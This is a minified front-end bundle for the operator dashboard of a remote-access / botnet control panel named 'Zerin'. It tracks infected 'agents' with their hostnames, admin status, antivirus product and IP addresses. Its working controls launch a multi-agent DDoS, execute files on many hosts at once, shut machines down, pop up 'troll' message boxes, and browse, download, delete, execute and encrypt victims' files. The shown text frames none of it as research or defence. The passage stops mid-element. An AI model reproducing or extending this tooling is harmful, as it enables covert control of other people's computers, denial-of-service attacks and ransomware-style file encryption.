underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:ke.length})," ",f," agent",ke.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:ke.length>0&&ke.filter(E=>E.status!=="dead").every(E=>D.has(E.id)),onChange:E=>{E.target.checked?V(new Set(ke.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):V(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),FU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(UU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:ke.map(E=>a.jsxs("tr",{onClick:()=>ne(E),onContextMenu:ce=>ve(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:D.has(E.id),onChange:ce=>{V(ee=>{const xe=new Set(ee);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(hd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Lo(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Mo(E.last_seen),children:Jc(E.last_seen)})]},E.id))})]})})})]}),D.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>$(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>V(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(aS,{agentIds:[...D]})]})}),W&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>$(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>$(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),we&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${we.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:we.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:U,onChange:E=>B(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:K,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(U.trim()){de(!0),ye(null);try{const E=[U.trim()];K.trim()&&K.trim().split(/\s+/).forEach(Ne=>E.push(Ne));const ee=(await Promise.allSettled([...D].map(Ne=>Me(Ne,{command:"execute",args:E})))).filter(Ne=>Ne.status==="fulfilled").length,xe=D.size;ye(ee===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${ee}/${xe} agents (${xe-ee} failed)`,type:ee>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{de(!1)}}},disabled:le||!U.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[le?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(vA,{x:h.x,y:h.y,visible:h.visible,onAction:H,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(M5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(yA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(VU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(ee=>ee.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(ee=>ee&&{...ee,tags:E});try{await JE(v.id,E)}catch{n(ee=>ee.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(ee=>ee&&{...ee,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:A,onChange:E=>_(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{O.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[O,A||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function rc({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function UU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function VU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(hd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Lo(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:T5(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:to(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Mo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:Jc(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(DU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const HU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},KU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},YU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function qU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${HU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${YU[s.type]} select-none`,children:KU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function GU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),A=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const K=le=>{le.button!==2&&S.current&&!S.current.contains(le.target)&&h(null)},Z=le=>{le.key==="Escape"&&h(null)};return document.addEventListener("mousedown",K),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",K),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var K;return(K=A.current)==null?void 0:K.focus()},50)},[y]);const _=m.useCallback(K=>new Promise((Z,le)=>{let de=0;const we=30,ye=setInterval(async()=>{var G;de++;try{const C=(G=(await Xn(e)).results)==null?void 0:G.find(Y=>Y.task_id===K);C?(clearInterval(ye),C.error?le(new Error(C.error)):Z({output:C.output,data:C.data})):de>=we&&(clearInterval(ye),le(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=m.useCallback(async K=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[K]});r(K),f(!0);let le=0;const de=30;z.current=setInterval(async()=>{var we;le++;try{const G=(we=(await Xn(e)).results)==null?void 0:we.find(te=>te.task_id===Z);if(G){if(z.current&&clearInterval(z.current),z.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(` +`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const re=Y.substring(0,12).trim(),F=Y.substring(13,33).trim();let se=Y.substring(34).trim();if(!se||se==="."||se==="..")continue;const be=re==="";(se.endsWith("/")||se.endsWith("\\"))&&(se=se.slice(0,-1)),C.push({name:se,isDir:be,size:be?void 0:re,modified:F})}s(C)}}else le>=de&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=K=>{if(K.name.includes("..")||K.name.includes("/")||K.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+K.name},D=K=>{N(K),setTimeout(()=>N(""),5e3)},V=async K=>{h(null),g("download"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"download",args:[Z]}),de=await _(le);if(de.data){let we;try{we=atob(de.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(we.length);for(let Y=0;Y{h(null),g("delete"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"delete",args:[Z]});await _(le),D(`Deleted ${K.name}`),O(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},M=async(K,Z,le)=>{v(null),w(""),g(K),u(""),N("");try{const de=P(Z),{task_id:we}=await Me(e,{command:K,args:[de,le]}),ye=await _(we);D(ye.output||`${K==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),O(n)}catch(de){u(de instanceof Error?de.message:`${K} failed`)}finally{g(null)}},W=async K=>{h(null),g("execute"),u(""),N("");try{const Z=P(K),{task_id:le}=await Me(e,{command:"execute",args:[Z]}),de=await _(le);D(de.output||`Executed ${K.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},$=(K,Z)=>{K.preventDefault(),K.stopPropagation();const le=180,de=220;let we=K.clientX,ye=K.clientY;we+le>window.innerWidth&&(we=window.innerWidth-le-8),ye+de>window.innerHeight&&(ye=window.innerHeight-de-8),h({x:Math.max(4,we),y:Math.max(4,ye),entry:Z})},U=()=>{!y||!b.trim()||M(y.action,y.entry,b)},B=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:K=>{K.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),B.map((K,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const le=B.slice(0,Z+1).join("\\")+"\\";O(le)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:K})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>O(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(K=>a.jsxs("button",{onClick:()=>{if(K.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+Z+K.name)}},onContextMenu:Z=>$(Z,K),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:K.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:K.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:K.name})]},K.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>V(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>W(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 